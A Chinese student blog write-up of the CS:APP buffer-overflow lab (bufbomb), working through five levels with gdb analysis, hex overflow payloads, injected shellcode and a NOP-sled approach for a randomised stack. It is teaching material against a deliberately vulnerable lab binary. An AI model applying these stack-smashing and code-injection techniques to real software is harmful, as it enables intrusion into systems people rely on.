缓冲区溢出攻击的实验

在此实验开始之前,弄清楚给你的三个文件分别干嘛的。

bufbomb:实验需要攻击的程序

hex2raw:根据填写的字节生成攻击字符串

makecookie:对每个实验用户生成一个八位十六进制的字节序列,用于识别用户。(可能是用来打分的)

gdb要运行的时候,一定要输入r -u <your id>,终端运行要输入./bufbomb -u <your id>,否则你是运行不了的。那咱们先输入./makecookie -q生成你的cookie(id),最好先找个地儿保存一下。

作者在这里赞美一下这本书的编者:csapp的所有实验设计简直不要太好,学习计算机系统本是一个很枯燥的学习过程,但是这里的实验最大程度激发学生学习的兴趣。同时也希望国内的编者能够借鉴这本书的巧妙之处,让国内出越来越多的优秀教材。(由于本人表达能力不够,也只能这么夸了qwq)

level0:Candle

这一堆英文我反正也看不来qwq,既然是level0不妨问题想简单一点:给了我test()函数,调用了一个getbuf(),而后又有一个gets()危险函数,又给了一个Smoke()函数,那么无疑,应该就是通过溢出调用Somke(),先反正不涉及代码注入等东西gdb就是万能的,我们普通地这么溢出只需要确定两点:

  1. 缓冲区的大小
  2. Smoke()函数的地址

gdb bufbomb然后:

print Smoke就可以输出函数的地址,disassemble getbuf就可以查看getbuf()的汇编代码

可以看到,buf的大小是0x28,那么就构造payload

1
2
3
4
5
6
7
8
9
10
11
00 00 00 00 
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
18 8c 04 08

但是发生了段错误,这里我调了很久,也可能是因为之前做64位的攻击,有点忘了32位的攻击的区别,因为真的之前就是它缓冲区开了多少我填那么多再堆返回地址就好了的。直到我看到getbuf()函数有一个leave指令,我这就去网上搜了一下leave指令。

1
2
3
Leave==
movl %ebp %esp
popl %ebp

啊这?又被弹出来了原来的ebp?可能在你们眼里这个完全是个没必要犯得错误,但是我遇到了我就得这么讲出来,也算是一种提升吧。那就很清楚了,我们把函数返回地址弹出去了,就导致给eip的不知道是什么地址了。所以再加四字节的00,就会把00 00 00 00弹给ebp而把smoke() 函数的返回地址弹给eip了。所以正确的payload应该是

1
2
3
4
5
6
7
8
9
10
11
12
00 00 00 00 
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
18 8c 04 08

可以看到,这就攻击成功了,我是没想到啊,最简单的攻击就败下阵来,一次失败然后成功得到的经验比多次成功得到的经验是多很多的,所以嘛,这波不亏。

level1:Sparkler

这次要求我们执行的shell函数是fizz(int val)

1
2
3
4
5
6
7
void fizz(int val) { 
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

可以看到,这回加了个参数判断,32位的程序,甚至不需要代码注入,参数直接往返回地址后面填就好了。地址怎么找我也就不赘述了,加参数的话,如果多位参数记得一定是从右往左入栈的,即:第一个参数在离栈顶最近,第二个就是网站底走四个字节,第三个……以此类推。但是一定注意栈帧的构成,它在调用函数的时候压完参数还要压eip,虽然我们不一定要它返回到什么地方,但是它有,所以我们在原来的基础上填充四个字节的假的返回地址再把参数加进去

payload就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00 00 00 00 
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
42 8c 04 08//fizz address
00 00 00 00//fake returning address
8a 5f 63 5e//your cookie

那这个level1就也解决了,个人认为这个buflab应该放在attacklab前面的,64位参数不好直接传,但是32位就硬传,但是它这么设计必有什么我目前不知道的巧妙之处。

level2:Firecracker

这一次要求我们执行的shell函数是bang()

1
2
3
4
5
6
7
8
int global_value = 0; 
void bang(int val) {
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

可以很清楚的看出来,程序定义了一个全局变量,执行这个函数的时候要求这个变量==your cookie我们都很清楚,全局变量不同于局部变量,局部变量是存在栈中的,全局变量存在.bss段或者是.data段的,因此我们要修改不可能只是简单的栈溢出,我们需要注入代码。在栈中注入代码:

1
2
3
movl value of cookie,address of global_value
pushl (address of bang)
ret

因为栈可以执行代码,没必要去搜集rop碎片,直接注入这一串代码就行了。bang()函数的地址和cookie我们是很容易获取的,唯一就是这全局变量的地址我们没办法直接获取。我们可以选择disassemble bang反汇编这个函数看看具体的结构。

可以发现中间cmp指令比较一定就是那个if语句的实现,比较的东西肯定也是cookie和那个global_value,并且也很清楚的可以看到,它比较的内容都是ds段寄存器的 内容。至于这两个地址哪一个还需要进一步分析,因为我们可以很清楚的知道,在运行的时候我们的cookie就是已经确定的,而另一个则应该一直是0,所以我们可以先b getbuf然后r- u xiaoji233,运行在中间停住的时候print *0x804d100看看这个地址到底是什么。

其实结果就很明显了,0x804d100就是全局变量的地址,另一个你把它转换成十六进制就是你的cookie,确定完这三个内容以后重写一下汇编代码:

1
2
3
movl $0x5e635f8a,0x804d100//在AT&T汇编中,立即数一定要加$,不加代表是地址。
push 0x8048c9d//此时不用考虑端序
ret

这里略微再提一下查看汇编代码机器码的方法,具体操作可以看我上一篇博文。。

还有一点需要确定的就是缓冲区字符的首地址了,因为返回地址要填这个才能把eip劫持到栈上执行,那么我现在获取的地址是0x55683868,这个每个人id不同貌似会有不太一样的。那么方法就是先确定ebp然后看看字符串开始的位置相对于ebp的偏移,就能轻松算出来了。还有一个比较一般的方法应该适合大部分人,先b getbuf然后运行到gets函数之后观看栈的情况。如下图:

就可以很轻松地确定了,当你不确定自己填的返回地址是不对的情况下,这个方法百分百没错,那么我们的payload就是:

1
2
3
4
5
6
7
8
9
10
11
12
c7 04 25 00 
d1 04 08 8a
5f 63 5e 68
9d 8c 04 08
c3 00 00 00 //inject code
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
68 38 68 55//address of String's top

level3:Dynamite

这一关咱们需要再不破坏原有栈帧的情况下将返回值修改成我们自己的cookie,这十分符合一个黑客的作为,咱们身为黑客就该神不知鬼不觉的去拿到shell,不然容易被打awa,打ctf-pwn题的我们基本都是能获取shell什么事都干得出来。破坏了原本结构?关我啥事,我拿到了shell就够了。

言归正传,在这里其实gdb就特别好用,因为我能知道它函数返回地址在哪,我只需要查一下调用这个函数的主函数,看看调用函数前存了些什么东西进去就可以很清楚的知道了。但是呢,我们一定还是要先溢出,不然都没办法劫持eip了,至于破坏的内容可以在代码注入里面去修复。就可以写出我们要注入的代码就是:

1
2
3
4
movl your cookie,%eax
movl original ebp address,%ebp
push original eip
ret

那么我们只需要找到原来的ebpeip就可以实现攻击了,那我们就先给getbuf()的第一句下个断点看看此时ebp的值,getbuf的反汇编结果见上面的图。b *0x80491f4断住查看 esp的值。

可以很清楚地看到esp

至于epi,可以返回汇编它的父函数,可以看到callgetbuf()的下一条指令地址,这个应该就是之前保存的返回地址了。

这里讲一下函数调用的机制,先是传参数,32位的程序是从左到右依次入栈,64位的程序则是前六个参数分别进入rdi,rsi,rdx,rcx,r8,r9寄存器,参数多于六个再从右往左依次入栈。接下来保存调用该函数语句下一句的指令地址存在栈上,这个就是所谓的返回地址了。至于接下来的事,那就是在函数里面了,分别有保存父函数的栈帧情况,计算完成后返回值保存在eax寄存器之后先恢复父函数的栈帧情况(弹出ebpesp+对应的值),弹出eip

那么注入的代码就很清楚了:

1
2
3
4
movl $0x5e635f8a,%eax
movl $0x556838c0,%ebp
push $0x08048dbe
ret

运行一遍看看,完美!!!

Level 4: Nitroglycerin

这一关,这一关你需要使用./bufbomb -n去执行,加了参数之后就不会执行test()函数了,而是testn()函数,调用getbufn()函数并且使它返回你的cookie,乍一听跟level3咋一模一样,但是自己调试一遍就会发现它要求你输入五次,并且每次的栈帧都不一样,我测试了一遍,每一次的字符串起始位置值是分别是:

1
2
3
4
5
0x55683688
0x55683658
0x55683668
0x55683628
0x55683688

那么我们注入的代码就不能直接mov $xxxx,%ebp了,得靠点其它东西,想想函数调用的过程,是有一个过程叫

1
2
3
4
5
6
push %ebp
mov %esp,%ebp
sub $xxx,%ebp
//调用过程
add $xxx,%ebp
pop %ebp

我们发现调用的过程中,只有栈是被我们破坏了,寄存器是完好无损的,但是ebp寄存器有一个取栈上数据的操作,但是esp寄存器至始至终是完好的呀。因此我们只要让ebpesp+0x28(因为testn()在调用前申请了0x24的空间,再加上保存的ebp就是0x28)就行了,但是注意取的是地址,用lea指令,然后就是eip了,这没什么好说的,看看调用这个函数的下一句是什么就行了。但是注意,我们返回的地址也是要有讲究的,因为每一次都不一样,我们得靠nop指令。计算机执行nop指令除了内部一个计数器+1以外不会有任何操作,并且只占用一个字节90,而且刚刚好getbuf()函数它开的很大,给了我们充足的滑行距离。注入的代码我们尽量靠近栈底,然后返回的地址尽量选取最小的(0x55683860),以便于覆盖所有的情况。那我们注入的代码就是:

1
2
3
4
mov $0x5e635f8a,%eax
lea 0x28(%esp),%ebp
push $0x08048e3a
ret

然后确定一下字节大小

字符是从0x208的内存开始的,再加上ebp那就是0x20c的大小了,不同的是:那些我们都填充90就行了,payload就是

填充代码+代码长度为0x20c就好了。

然后,我就默默地调了两个小时的代码,去查了wp才发现,32位汇编和64位汇编的lea指令是不一样的,原来我就没注意这点qwq默默地枯了!!

然后就又是漫长的调试过程,我一直以为输入r -u xiaoji233 -n <attackraw4.txt就可以了,没想到只输入一次,就是说每次都只有第一个是对的,一定要换这种命令才可以将字符串复制五次输入的,踩过的坑千万别踩,否则后果就是罚坐三小时,让大家康康我的撒花吧!!!

本作者在写wp的时候喜欢加上自己的思考,因为我也是新手,这篇wp对新手就比较友好,因为大概率是可以踩到目前新手能踩到的大部分坑的,如果哪里说的不对,恳请指正!